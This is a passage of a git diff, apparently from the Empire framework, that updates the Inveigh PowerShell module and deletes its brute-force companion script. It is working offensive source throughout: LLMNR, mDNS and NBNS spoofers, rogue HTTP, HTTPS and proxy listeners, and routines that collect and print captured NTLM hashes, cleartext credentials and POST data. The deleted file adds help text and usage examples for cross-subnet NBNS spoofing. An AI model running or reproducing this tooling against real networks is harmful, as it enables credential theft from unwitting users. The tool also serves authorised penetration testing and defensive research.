System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + } + + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.running = $false + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.relay_running = $false + + } + + $inveigh.HTTPS = $false + } + + if($NBNSBruteForcePause) + { + $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause + } + + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running) + { + + if($NBNSBruteForcePause -and $inveigh.hostname_spoof) + { + + if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + + } + + if($RunCount) + { + + if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) + { + StopInveigh "run count" + } + + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.POST_request_file_queue.Count -gt 0) + { + $inveigh.POST_request_file_queue[0]|Out-File $inveigh.POST_request_out_file -Append + $inveigh.POST_request_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + Start-Sleep -m 5 + } + + $inveigh.control = $false +} + # End ScriptBlocks # Begin Startup Functions -# HTTP/HTTPS Listener Startup Function +# HTTP Listener Startup Function function HTTPListener() { - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() + $proxy_listener = $false + $HTTPS_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( - $HTTPBasicRealm).AddArgument($WPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } +Start-Sleep -m 50 + +# HTTPS Listener Startup Function +function HTTPSListener() +{ + $proxy_listener = $false + $HTTPS_listener = $true + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $proxy_listener = $true + $HTTPS_listener = $false + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + # Sniffer/Spoofer Startup Function function SnifferSpoofer() { @@ -1792,206 +3995,390 @@ function SnifferSpoofer() $sniffer_powershell.Runspace = $sniffer_runspace $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( - $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( - $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( + $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( + $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( + $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( + $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( + $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null $sniffer_powershell.BeginInvoke() > $null } +# Unprivileged LLMNR Spoofer Startup Function +function LLMNRSpoofer() +{ + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $LLMNR_spoofer_runspace.Open() + $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $LLMNR_spoofer_powershell = [PowerShell]::Create() + $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace + $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $LLMNRTTL) > $null + $LLMNR_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged mDNS Spoofer Startup Function +function mDNSSpoofer() +{ + $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $mDNS_spoofer_runspace.Open() + $mDNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $mDNS_spoofer_powershell = [PowerShell]::Create() + $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace + $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore) > $null + $mDNS_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged NBNS Spoofer Startup Function +function NBNSSpoofer() +{ + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_spoofer_runspace.Open() + $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_spoofer_powershell = [PowerShell]::Create() + $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace + $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null + $NBNS_spoofer_powershell.BeginInvoke() > $null +} + +# NBNS Brute Force Spoofer Startup Function +function NBNSBruteForceSpoofer() +{ + $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_bruteforce_spoofer_runspace.Open() + $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() + $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace + $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( + $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null +} + +# Control Loop Startup Function +function ControlLoop() +{ + $control_runspace = [RunspaceFactory]::CreateRunspace() + $control_runspace.Open() + $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_powershell = [PowerShell]::Create() + $control_powershell.Runspace = $control_runspace + $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null + $control_powershell.BeginInvoke() > $null +} + # End Startup Functions # Startup Enabled Services # HTTP Server Start -if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'N') +if($HTTP -eq 'Y') { HTTPListener } -# Sniffer/Spoofer Start - always enabled -SnifferSpoofer +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} -if($inveigh.console_output) +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + +# Sniffer/Spoofer Start +if(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) +{ + SnifferSpoofer +} +elseif(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) { - if($ConsoleStatus) - { - $console_status_timeout = new-timespan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + if($LLMNR -eq 'Y') + { + LLMNRSpoofer } - :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + if($mDNS -eq 'Y') + { + mDNSSpoofer + } + + if($NBNS -eq 'Y') + { + NBNSSpoofer + } + + if($NBNSBruteForce -eq 'Y') + { + NBNSBruteForceSpoofer + } + +} + +# NBNSBruteForce Spoofer Start +if($NBNSBruteForce -eq 'Y') +{ + NBNSBruteForceSpoofer +} + +# Control Loop Start +if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) +{ + ControlLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) { - while($inveigh.console_queue.Count -gt 0) - { + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) { switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} { - if($inveigh.file_output) + if($inveigh.output_stream_only) { - Write-Warning $inveigh.console_queue[0] + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } - "* for relay *" + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + if($ConsoleOutput -eq 'Y') + { - "* local administrator *" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } default { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) } - } + } } - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) + if($inveigh.cleartext_list.Count -gt 0) { - if($unique_cleartext -ne $unique_cleartext_last) + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) { - Write-Output($unique_cleartext + $inveigh.newline) + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext } - $unique_cleartext_last = $unique_cleartext + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) } - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + + foreach($unique_POST_request in $inveigh.POST_request_list) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + if($inveigh.NTLMv1_list.Count -gt 0) { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) { - Write-Output($unique_NTLMv1 + $inveigh.newline) + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account } - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) { - Write-Output($unique_NTLMv2 + $inveigh.newline) + Write-Output($NTLMv1_username + $inveigh.newline) } - $unique_NTLMv2_account_last = $unique_NTLMv2_account + Start-Sleep -m 5 } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + else { - Write-Output($NTLMv2_username + $inveigh.newline) + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } - else + + if($inveigh.console_input) { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 } - Start-Sleep -m 5 + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.running = $false } } diff --git a/data/module_source/collection/Invoke-InveighBruteForce.ps1 b/data/module_source/collection/Invoke-InveighBruteForce.ps1 deleted file mode 100644 index 1a2760e..0000000 --- a/data/module_source/collection/Invoke-InveighBruteForce.ps1 +++ /dev/null @@ -1,1284 +0,0 @@ -function Invoke-InveighBruteForce -{ -<# -.SYNOPSIS -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer. - -.DESCRIPTION -Invoke-InveighBruteForce is a remote (Hot Potato method)/unprivileged NBNS brute force spoofer with the following -features: - - Targeted IPv4 NBNS brute force spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP - Granular control of console and file output - Run time control - -This function can be used to perform NBNS spoofing across subnets and/or perform NBNS spoofing without an elevated -administrator or SYSTEM shell. - -.PARAMETER SpooferIP -Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system -other than the Inveigh Brute Force host. - -.PARAMETER SpooferTarget -Specify an IP address to target for brute force NBNS spoofing. - -.PARAMETER Hostname -Default = WPAD: Specify a hostname for NBNS spoofing. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSPause -Default = Disabled: (Integer) Specify the number of seconds the NBNS brute force spoofer will stop spoofing after -an incoming HTTP request is received. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPIP -Default = Any: Specify a TCP IP address for the HTTP listener. - -.PARAMETER HTTPPort -Default = 80: Specify a TCP port for the HTTP listener. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. Use PowerShell character escapes where necessary. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. Use PowerShell character escapes where necessary. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. - -.PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. - -.PARAMETER FileOutput -Default = Disabled: (Y/N) Enable/Disable real time file output. - -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. - -.PARAMETER OutputStreamOnly -Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if -running Inveigh Brute Force through a shell that does not return other output streams. Note that you will not see -the various yellow warning messages if enabled. - -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. - -.PARAMETER RunTime -Default = Unlimited: (Integer) Set the run time duration in minutes. - -.PARAMETER RunCount -Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. - -.PARAMETER ShowHelp -Default = Enabled: (Y/N) Enable/Disable the help messages at startup. - -.PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire - -.EXAMPLE -Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 -Target 192.168.1.11 for 'server1' hostname spoofs. - -.EXAMPLE -Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 -Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -# Parameter default values can be modified in this section: -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateScript({$_ -match 